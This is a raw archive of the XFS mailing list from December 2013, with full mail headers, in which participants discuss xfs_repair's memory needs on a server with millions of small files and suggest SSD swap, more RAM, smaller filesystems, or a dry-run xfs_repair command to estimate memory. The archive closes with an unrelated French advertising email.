4902129DF8 for ; Sat, 28 Dec 2013 10:56:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CC2A9AC008 for ; Sat, 28 Dec 2013 08:56:01 -0800 (PST) X-ASG-Debug-ID: 1388249757-04cbb04169a2ef00001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id vK60pZU5rn1eV6wG for ; Sat, 28 Dec 2013 08:55:57 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 2A8B36C177; Sat, 28 Dec 2013 10:55:57 -0600 (CST) Message-ID: <52BF0295.9040301@hardwarefreak.com> Date: Sat, 28 Dec 2013 10:55:49 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= , Dave Chinner CC: Stor?? <289471341@qq.com>, Jeff Liu , xfs@oss.sgi.com Subject: Re: [xfs_check Out of memory: ] References: <201312270907.22638.arekm@maven.pl> <20131227224212.GK20579@dastard> <201312280020.39244.arekm@maven.pl> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] In-Reply-To: <201312280020.39244.arekm@maven.pl> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1388249757 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/27/2013 5:20 PM, Arkadiusz Miśkiewicz wrote: ... > - can't add more RAM easily, machine is at remote location, uses obsolete > DDR2, have no more ram slots and so on ... > So looks like my future backup servers will need to have 64GB, 128GB or maybe > even more ram that will be there only for xfs_repair usage. That's gigantic > waste of resources. And there are modern processors that don't work with more > than 32GB of ram - like "Intel Xeon E3-1220v2" ( http://tnij.org/tkqas9e ). So > adding ram means replacing CPU, likely replacing mainboard. Fun :) .. > IMO ram usage is a real problem for xfs_repair and there has to be some > upstream solution other than "buy more" (and waste more) approach. The problem isn't xfs_repair. The problem is that you expect this tool to handle an infinite number of inodes while using a finite amount of memory, or at least somewhat less memory than you have installed. We don't see your problem reported very often which seems to indicate your situation is a corner case, or that others simply size their systems properly without complaint. If you'd actually like advice on how to solve this, today, with realistic solutions, in lieu of the devs recoding xfs_repair for the single goal of using less memory, then here are your options: 1. Rewrite or redo your workload to not create so many small files, so many inodes, i.e. use a database 2. Add more RAM to the system 3. Add an SSD of sufficient size/speed for swap duty to handle xfs_repair requirements for filesystems with arbitrarily high inode counts Your quickest, cheapest, and all encompassing solution to this problem today is #3. This prevents the need to size the RAM on each machine to meet the needs of xfs_repair given an arbitrary number of inodes, as you'll always have more than enough swap. And it is likely less expensive than adding/replacing DIMMs. The fastest random read/write IOPS SSD on the market is the Samsung 840 Pro which is ~$1/GB in the States, a 128GB unit for $130. This unit has a 5 year warranty and sustained ~90K read/write 4KB IOPS. Create a 100GB swap partition and leave the remainder unallocated. The unallocated space will automatically be used for GC and wear leveling, increasing the life of all cells in the drive. The fact that the systems are remote, that you have no more DIMM slots, are not good arguments for you to make in this context. Every system will require some type of hardware addition/replacement/maintenance. And this is not the first software "problem" that requires more hardware to solve. If your application that creates these millions of files needed twice as much RAM, forcing an upgrade, would you be complaining this way on their mailing list? If so I'd suggest the problem lay somewhere other than xfs_repair and that application. -- Stan From jra@baylink.com Sat Dec 28 11:35:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6FF2329DF8 for ; Sat, 28 Dec 2013 11:35:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4A6408F8035 for ; Sat, 28 Dec 2013 09:35:47 -0800 (PST) X-ASG-Debug-ID: 1388252145-04cbb04169a30d30001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id RGPxg8VMFEs76CBz for ; Sat, 28 Dec 2013 09:35:45 -0800 (PST) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 2B94C1F00124 for ; Sat, 28 Dec 2013 12:35:45 -0500 (EST) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id rtpMCkfIvGSt for ; Sat, 28 Dec 2013 12:35:40 -0500 (EST) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id CE54B1F00120 for ; Sat, 28 Dec 2013 12:35:40 -0500 (EST) Date: Sat, 28 Dec 2013 12:35:40 -0500 (EST) From: Jay Ashworth To: xfs Message-ID: <23931797.1848.1388252140769.JavaMail.root@benjamin.baylink.com> In-Reply-To: <52BF0295.9040301@hardwarefreak.com> Subject: Re: [xfs_check Out of memory: ] MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [66.87.149.209] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - FF3.0 (Linux)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1388252145 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.10 X-Barracuda-Spam-Status: No, SCORE=2.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143496 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Stan Hoeppner" > Create a 100GB swap partition and leave the remainder unallocated. The > unallocated space will automatically be used for GC and wear leveling, > increasing the life of all cells in the drive. *Great* tip. :-) Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From stan@hardwarefreak.com Sat Dec 28 16:01:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 99F797F3F for ; Sat, 28 Dec 2013 16:01:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2B0C1AC002 for ; Sat, 28 Dec 2013 14:01:51 -0800 (PST) X-ASG-Debug-ID: 1388268110-04bdf00fde32ac80001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 7AhmYIAoXeLzmVbX for ; Sat, 28 Dec 2013 14:01:50 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 1FAAA6C177; Sat, 28 Dec 2013 16:01:50 -0600 (CST) Message-ID: <52BF4A47.3010604@hardwarefreak.com> Date: Sat, 28 Dec 2013 16:01:43 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Jay Ashworth , xfs Subject: Re: [xfs_check Out of memory: ] References: <23931797.1848.1388252140769.JavaMail.root@benjamin.baylink.com> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] In-Reply-To: <23931797.1848.1388252140769.JavaMail.root@benjamin.baylink.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1388268110 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/28/2013 11:35 AM, Jay Ashworth wrote: > ----- Original Message ----- >> From: "Stan Hoeppner" > >> Create a 100GB swap partition and leave the remainder unallocated. The >> unallocated space will automatically be used for GC and wear leveling, >> increasing the life of all cells in the drive. > > *Great* tip. :-) It's not so much of a tip but simply re-stating common knowledge, or what should be by now. Over provisioning of SSDs has been written about pretty extensively. One benefit of over provisioning I failed to mention above is that it also typically decreases the latency and increases the throughput of random writes significantly. Linux swap writes tend to be sequential, so this aspect of over provisioning won't pay dividends for the OP's use case. -- Stan From arekm@maven.pl Sat Dec 28 17:39:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4B6457F3F for ; Sat, 28 Dec 2013 17:39:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 42263304043 for ; Sat, 28 Dec 2013 15:39:38 -0800 (PST) X-ASG-Debug-ID: 1388273974-04cb6c537ea46ac0001-NocioJ Received: from mail-ea0-f171.google.com (mail-ea0-f171.google.com [209.85.215.171]) by cuda.sgi.com with ESMTP id xowfEl49yLnjHCzF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 28 Dec 2013 15:39:35 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 209.85.215.171 Received: by mail-ea0-f171.google.com with SMTP id h10so4518931eak.2 for ; Sat, 28 Dec 2013 15:39:34 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=M2dSgVWNwdpWFgAHt6aVc7jHqm7069HiyWAtKWYgrYk=; b=BJmXalAEcJxRqyFuhTJCJv9Uu/X5Xaw8x29EHLXXhQrZzVOvLFVnFVFOGborAKtdlM wicfBchf/8pc1AK/Ku4hOLJQC8s6VGI9lwZzcA8T+pbFZosNB7BFhspEr/AQQXy/wVlz BE7Zq6jxgaxLtbSgjzorKowYr3xAfX8OZxG1k= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=M2dSgVWNwdpWFgAHt6aVc7jHqm7069HiyWAtKWYgrYk=; b=JPWwwY72EBmIQA6IWlOpuiLYN/tlUNLk0KeFyAFKAOkaPO2HihUWpL4ZFO1aJEukAn cgCkKT1Ns3zCyS6WPVYyCet6NTldHzkzWgs6gFBbTO4Ge/yUpClFjBDlDFWlJf3mDWmt w1+yjWibCJvu3P4Hs8m4VdqVkvfvXVxS4KMbrrk1tP1L4wOOlLhJtJ8GlpAb3rA+KrZv H4kMgwrOX8RfEZ1Y28gABKM4Cqmte9DD4EgCXhqO4DCgvK/hJmBsTNH2oTuYTeMhDRxz cl32313Gj5QKVWCYkNOLQo2xCAV+ClzfRQhBm86gQZsd+xHSWr1TR8JFPDQs5yqQ43df bIRQ== X-Gm-Message-State: ALoCoQkT/DmsLzZQuTE6GSVbbeWdMr5fC/nEOrYxb0uegrVjaSRtg2tWkiyK/jbO6fhAk0P00bnJ X-Received: by 10.15.10.2 with SMTP id f2mr589922eet.112.1388273974270; Sat, 28 Dec 2013 15:39:34 -0800 (PST) Received: from t400.localnet (abmv85.neoplus.adsl.tpnet.pl. [83.7.241.85]) by mx.google.com with ESMTPSA id 44sm94691258eek.5.2013.12.28.15.39.33 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sat, 28 Dec 2013 15:39:33 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: stan@hardwarefreak.com Subject: Re: [xfs_check Out of memory: ] Date: Sun, 29 Dec 2013 00:39:16 +0100 X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] User-Agent: KMail/1.13.7 (Linux/3.12.6-dirty; KDE/4.12.0; x86_64; ; ) Cc: Dave Chinner , "Stor??" <289471341@qq.com>, Jeff Liu , xfs@oss.sgi.com References: <201312280020.39244.arekm@maven.pl> <52BF0295.9040301@hardwarefreak.com> In-Reply-To: <52BF0295.9040301@hardwarefreak.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201312290039.17125.arekm@maven.pl> X-Barracuda-Connect: mail-ea0-f171.google.com[209.85.215.171] X-Barracuda-Start-Time: 1388273975 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143504 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Saturday 28 of December 2013, Stan Hoeppner wrote: > On 12/27/2013 5:20 PM, Arkadiusz Mi=C5=9Bkiewicz wrote: > ... >=20 > > - can't add more RAM easily, machine is at remote location, uses obsole= te > > DDR2, have no more ram slots and so on >=20 > ... >=20 > > So looks like my future backup servers will need to have 64GB, 128GB or > > maybe even more ram that will be there only for xfs_repair usage. That's > > gigantic waste of resources. And there are modern processors that don't > > work with more than 32GB of ram - like "Intel Xeon E3-1220v2" ( > > http://tnij.org/tkqas9e ). So adding ram means replacing CPU, likely > > replacing mainboard. Fun :) >=20 > .. >=20 > > IMO ram usage is a real problem for xfs_repair and there has to be some > > upstream solution other than "buy more" (and waste more) approach. >=20 > The problem isn't xfs_repair. =20 This problem is fully solvable on xfs_repair side (if disk space outside of= =20 broken xfs fs is available). > The problem is that you expect this tool > to handle an infinite number of inodes while using a finite amount of > memory, or at least somewhat less memory than you have installed. We > don't see your problem reported very often which seems to indicate your > situation is a corner case, or that others simply It's not something common. Happens from time to time judging based on #xfs= =20 questions. > size their systems > properly without complaint. I guess having milions of tiny files (few kb each file) in simply not=20 something common rather than "properly sizing systems". > If you'd actually like advice on how to solve this, today, with > realistic solutions, in lieu of the devs recoding xfs_repair for the > single goal of using less memory, then here are your options: >=20 > 1. Rewrite or redo your workload to not create so many small files, > so many inodes, i.e. use a database It's a backup copy that needs to be directly accessible (so you could run=20 production directly from backup server for example). That solution won't=20 work. > 2. Add more RAM to the system > 3. Add an SSD of sufficient size/speed for swap duty to handle > xfs_repair requirements for filesystems with arbitrarily high > inode counts That would work... if the server was locally available. Right now my working "solution" is: =2D add 40GB of swap space =2D stop all other services =2D run xfs_repair, leave it for 1-2 days Adding SSD is my only long term option it seems. > The fact that the systems are remote, that you have no more DIMM slots, > are not good arguments for you to make in this context. Every system > will require some type of hardware addition/replacement/maintenance. > And this is not the first software "problem" that requires more hardware > to solve. If your application that creates these millions of files > needed twice as much RAM, forcing an upgrade, would you be complaining > this way on their mailing list? If that application could do its job without requiring 2xRAM then surely I= =20 would write about this to ml. > If so I'd suggest the problem lay > somewhere other than xfs_repair and that application. IMO this problem could be solved on xfs_repair side but well... someone wou= ld=20 have to write patches and that's unlikely to happen. So now more important question. How to actually estimate these things?=20 Example: 10TB xfs filesystem fully written with files - 10kb each file (htm= l=20 pages, images etc) - web server. How much ram my server would need for repa= ir=20 to succeed? =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From stan@hardwarefreak.com Sat Dec 28 18:54:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B83B17F3F for ; Sat, 28 Dec 2013 18:54:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9B69D8F8035 for ; Sat, 28 Dec 2013 16:54:28 -0800 (PST) X-ASG-Debug-ID: 1388278467-04cb6c537ea498c0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id n4li58jovEd3aiDv for ; Sat, 28 Dec 2013 16:54:27 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 3A0396C121; Sat, 28 Dec 2013 18:54:27 -0600 (CST) Message-ID: <52BF72BC.8020002@hardwarefreak.com> Date: Sat, 28 Dec 2013 18:54:20 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= CC: Stor?? <289471341@qq.com>, Jeff Liu , xfs@oss.sgi.com, Dave Chinner Subject: Re: [xfs_check Out of memory: ] References: <201312280020.39244.arekm@maven.pl> <52BF0295.9040301@hardwarefreak.com> <201312290039.17125.arekm@maven.pl> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] In-Reply-To: <201312290039.17125.arekm@maven.pl> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1388278467 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/28/2013 5:39 PM, Arkadiusz Miśkiewicz wrote: > On Saturday 28 of December 2013, Stan Hoeppner wrote: >> On 12/27/2013 5:20 PM, Arkadiusz Miśkiewicz wrote: >> ... >> >>> - can't add more RAM easily, machine is at remote location, uses obsolete >>> DDR2, have no more ram slots and so on >> >> ... >> >>> So looks like my future backup servers will need to have 64GB, 128GB or >>> maybe even more ram that will be there only for xfs_repair usage. That's >>> gigantic waste of resources. And there are modern processors that don't >>> work with more than 32GB of ram - like "Intel Xeon E3-1220v2" ( >>> http://tnij.org/tkqas9e ). So adding ram means replacing CPU, likely >>> replacing mainboard. Fun :) >> >> .. >> >>> IMO ram usage is a real problem for xfs_repair and there has to be some >>> upstream solution other than "buy more" (and waste more) approach. >> >> The problem isn't xfs_repair. > > This problem is fully solvable on xfs_repair side (if disk space outside of > broken xfs fs is available). > >> The problem is that you expect this tool >> to handle an infinite number of inodes while using a finite amount of >> memory, or at least somewhat less memory than you have installed. We >> don't see your problem reported very often which seems to indicate your >> situation is a corner case, or that others simply > > It's not something common. Happens from time to time judging based on #xfs > questions. > >> size their systems >> properly without complaint. > > I guess having milions of tiny files (few kb each file) in simply not > something common rather than "properly sizing systems". > >> If you'd actually like advice on how to solve this, today, with >> realistic solutions, in lieu of the devs recoding xfs_repair for the >> single goal of using less memory, then here are your options: >> >> 1. Rewrite or redo your workload to not create so many small files, >> so many inodes, i.e. use a database > > It's a backup copy that needs to be directly accessible (so you could run > production directly from backup server for example). That solution won't > work. So it's an rsnapshot server and you have many millions of hardlinks. The obvious solution here is to simply use a greater number of smaller XFS filesystems with fewer hardlinks in each. This is by far the best way to avoid the xfs_repair memory consumption issue due to massive inode count. You might even be able to accomplish this using sparse files. This would preclude the need to repartition your storage for more filesystems, and would allow better utilization of your storage. Dave is the sparse filesystem expert so I'll defer to him on whether this is possible, or applicable to your workload. >> 2. Add more RAM to the system > >> 3. Add an SSD of sufficient size/speed for swap duty to handle >> xfs_repair requirements for filesystems with arbitrarily high >> inode counts > > That would work... if the server was locally available. > > Right now my working "solution" is: > - add 40GB of swap space > - stop all other services > - run xfs_repair, leave it for 1-2 days > > Adding SSD is my only long term option it seems. It's not a perfect solution by any means, and the SSD you choose matters greatly, which I why I recommended the Samsung 840 Pro. More RAM is the best option with your current setup, but is not available for your system. Using more filesystems with fewer inodes in each is by far the best option, WRT xfs_repair and limited memory. >> The fact that the systems are remote, that you have no more DIMM slots, >> are not good arguments for you to make in this context. Every system >> will require some type of hardware addition/replacement/maintenance. >> And this is not the first software "problem" that requires more hardware >> to solve. If your application that creates these millions of files >> needed twice as much RAM, forcing an upgrade, would you be complaining >> this way on their mailing list? > > If that application could do its job without requiring 2xRAM then surely I > would write about this to ml. > >> If so I'd suggest the problem lay >> somewhere other than xfs_repair and that application. > > IMO this problem could be solved on xfs_repair side but well... someone would > have to write patches and that's unlikely to happen. > > So now more important question. How to actually estimate these things? > Example: 10TB xfs filesystem fully written with files - 10kb each file (html > pages, images etc) - web server. How much ram my server would need for repair > to succeed? One method is to simply ask xfs_repair how much memory it needs to repair the filesystem. Usage: $ umount /mount/point $ xfs_repair -n -m 1 -vv /mount/point $ mount /mount/point e.g. $ umount /dev/sda7 $ xfs_repair -n -m 1 -vv /dev/sda7 Phase 1 - find and verify superblock... - max_mem = 1024, icount = 85440, imem = 333, dblock = 24414775, dmem = 11921 Required memory for repair is greater that the maximum specified with the -m option. Please increase it to at least 60. $ mount /dev/sda7 This is a 100GB inode32 test filesystem with 83K inodes. xfs_repair tells us it requires a minimum 60MB of memory for this filesystem. This is a minimum. The actual repair may require more, but the figure given should be pretty close. -- Stan From pam=news-zetrend.com@mlgnusa.com Sat Dec 28 22:04:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BD04A7F3F for ; Sat, 28 Dec 2013 22:04:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2FE3BAC007 for ; Sat, 28 Dec 2013 20:03:56 -0800 (PST) X-ASG-Debug-ID: 1388289829-04cbb04166a49800001-NocioJ Received: from mail2.mlgnusa.com (mail2.mlgnusa.com [194.19.244.189]) by cuda.sgi.com with ESMTP id aOmfMRBqUYUktCmb for ; Sat, 28 Dec 2013 20:03:50 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.189 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=gn7paL7Q4reqNYnd8gq8xkC30Cs=; b=SJDqF9kS5SivAPpiO4LdFCF/whp3P9vg93focZ7xK1ff56URCW9l4EMmc2HaosvSTVSWN9PNvLXN V734suBtX57e+bkWdPN2KoGi2Lq/TsqGltmvlvrp6yHBjDM2m21A6yWrhf/QuxIrsNoWbYzbcvlY iChTKyD5zvFxs3RYCFU= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=oxgbhBoLXHq9Wix8EKnjsSN7mLWCXtMfJVMFY6EEpo2EnRunsb+MbESZ2jvtR8oZL5Uki830qNHw LcNXMZeGgqYqZLLB7Ez6Ft7/PzwUbCZt2aPQ7FOHSSK5izuih+9498ogEeGbx8laSn4G3Mn8ccYK IkoboH1HHh9a+oq2OE8=; Received: by mail2.mlgnusa.com id hnufic1fblcl for ; Sun, 29 Dec 2013 06:03:49 +0200 (envelope-from ) Date: Sun, 29 Dec 2013 05:18:08 +0200 To: From: IdealDouche Reply-To: IdealDouche Subject: =?utf-8?Q?Nouveau,_enfin_une_douche_pratique_et_s=C3=A9curis=C3=A9e._Devi?= =?utf-8?Q?s_gratuit_!?= Message-ID: X-ASG-Orig-Subj: =?utf-8?Q?Nouveau,_enfin_une_douche_pratique_et_s=C3=A9curis=C3=A9e._Devi?= =?utf-8?Q?s_gratuit_!?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CIDee0f32efd09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.ee0f32ef X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.ee0f32ef X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=ee0f32ef&e=d09c0023 List-Unsubscribe: , Sender: "IdealDouche" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_30e7065640d2f9466f51d0bb6d94b204" X-Barracuda-Connect: mail2.mlgnusa.com[194.19.244.189] X-Barracuda-Start-Time: 1388289830 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.17 X-Barracuda-Spam-Status: No, SCORE=0.17 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_30e7065640d2f9466f51d0bb6d94b204 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Idealdouche : Une solution unique en France ! : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E Idealdouche : Une solution unique en France ! : 